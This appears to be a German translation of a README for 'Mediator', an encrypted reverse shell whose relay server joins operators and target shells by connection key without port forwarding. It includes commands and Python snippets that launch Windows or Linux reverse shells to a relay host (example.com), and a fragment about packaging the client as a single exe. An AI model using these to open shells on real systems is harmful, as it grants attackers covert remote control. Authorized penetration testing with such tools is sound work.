
Eine erweiterbare, Ende-zu-Ende-verschlüsselte Reverse Shell, die netzwerkübergreifend ohne Portweiterleitung funktioniert.
Mediator ist eine Ende-zu-Ende-verschlüsselte Reverse-Shell, bei der der Operator und die Shell mit einem „Mediator“-Server verbunden werden, der die Verbindungen zusammenführt. Dadurch entfällt die Notwendigkeit für den Operator/Handler, eine Portweiterleitung einzurichten, um auf die Verbindung zu lauschen. Mediator ermöglicht es Ihnen außerdem, Plugins zu erstellen, um die Funktionalität der Reverse-Shell zu erweitern.
Sie können die Skripte von Mediator als eigenständige ausführbare Programme ausführen oder sie zur Integration in andere Pentesting- und Incident-Response-Tools importieren.
Inspiriert von Ende-zu-Ende-verschlüsselten Chat-Anwendungen verfolgt Mediator einen einzigartigen Ansatz für das Client/Server-Modell einer Reverse-Shell. Mediator verwendet:
Reverse-Shells und Handler verbinden sich mit einem Verbindungsschlüssel mit dem Mediator-Server. Der Server hört auf Port 80 für Handler-Verbindungen und auf Port 443 für Reverse-Shell-Verbindungen. Wenn Clients eine Verbindung zum Mediator herstellen, reiht der Server die Clients gemäß ihrem jeweiligen Typ und Verbindungsschlüssel in eine Warteschlange ein. Wenn sowohl eine Reverse-Shell als auch ein Operator mit demselben Schlüssel eine Verbindung zum Server herstellen, führt der Server die beiden Verbindungen zusammen. Danach findet ein Schlüsselaustausch zwischen den beiden Clients statt, und die gesamte Kommunikation zwischen der Reverse-Shell und dem Operator wird Ende-zu-Ende verschlüsselt. Dadurch wird sichergestellt, dass der Server die Datenströme, die er weiterleitet, nicht abhören kann.
Plugins ermöglichen es Ihnen, zusätzliche Befehle hinzuzufügen, die Code auf dem Host des Operators, dem Zielhost oder beiden ausführen können! Weitere Informationen zu Plugins finden Sie in der README im plugins-Verzeichnis.
Die Client-Skripte können unter Windows oder Linux ausgeführt werden, aber Sie müssen den Server (mediator.py) auf einem Linux-Host aufsetzen. Der Server ist reines Python, daher müssen keine Abhängigkeiten installiert werden. Sie können das Server-Skript entweder mit
$ python3 mediator.py
ausführen oder ein Docker-Image mit dem bereitgestellten Dockerfile erstellen und in einem Container ausführen (stellen Sie sicher, dass Sie die Ports 80 und 443 veröffentlichen).
Sie müssen die Abhängigkeiten installieren, die in requirements.txt gefunden werden, damit die Clients funktionieren. Sie können dies mit dem folgenden Befehl tun:
$ pip3 install -r requirements.txt
Siehe Tipps und Erinnerungen am Ende für Hilfe bei der Verteilung der Clients, ohne sich um Abhängigkeiten kümmern zu müssen.
Der Handler und die Reverse-Shell können innerhalb anderer Python-Skripte oder direkt über die Befehlszeile verwendet werden. In beiden Fällen können die Clients Argumente für die Serveradresse und den Verbindungsschlüssel akzeptieren. Die Verwendung dieser Argumente wird unten beschrieben.
Mediator-Serveradresse
Für die Verwendung in Python-Skripten wird die Adresse des Mediator-Hosts bei der Instanziierung benötigt:
Handler-Klasse
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell-Klasse
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
Wenn ein Client-Skript direkt von einer Shell ausgeführt wird, können Sie entweder die Adresse am Ende des Skripts fest codieren oder die Serveradresse als Argument mit dem Flag -s oder --server angeben:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
Verbindungsschlüssel
Wenn zwei Handler oder zwei Reverse-Shells mit demselben Verbindungsschlüssel eine Verbindung zum Mediator-Server herstellen, wird nur die erste Verbindung in die Warteschlange gestellt und wartet auf ihre Entsprechung. Bis die in der Warteschlange befindliche Verbindung entweder ein Zeitlimit erreicht (30 Sekunden) oder mit einer entsprechenden Verbindung übereinstimmt, werden alle anderen Clients desselben Typs, die versuchen, sich mit demselben Verbindungsschlüssel zu verbinden, abgewiesen.
Es ist wichtig sicherzustellen, dass jeder Handler einen eindeutigen Verbindungsschlüssel verwendet, um eine Race-Condition zu vermeiden, die dazu führen könnte, dass die falsche Shell einem Operator gegeben wird.
Nur Schlüssel mit dem Präfix "#!ConnectionKey_" werden vom Server akzeptiert. Der Standard-Verbindungsschlüssel ist "#!ConnectionKey_CHANGE_ME!!!".
Um den Verbindungsschlüssel für die Verwendung in Python-Skripten zu ändern, kann der Verbindungsschlüssel optional bei der Instanziierung angegeben werden:
Handler-Klasse
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell-Klasse
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
Wenn ein Client-Skript direkt von einer Shell ausgeführt wird, können Sie entweder den Verbindungsschlüssel am Ende des Skripts fest codieren oder den Verbindungsschlüssel als Argument mit dem Flag -c oder --connection-key angeben:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile-Flag einfach eine exe-Datei für windowsTarget.py erstellen.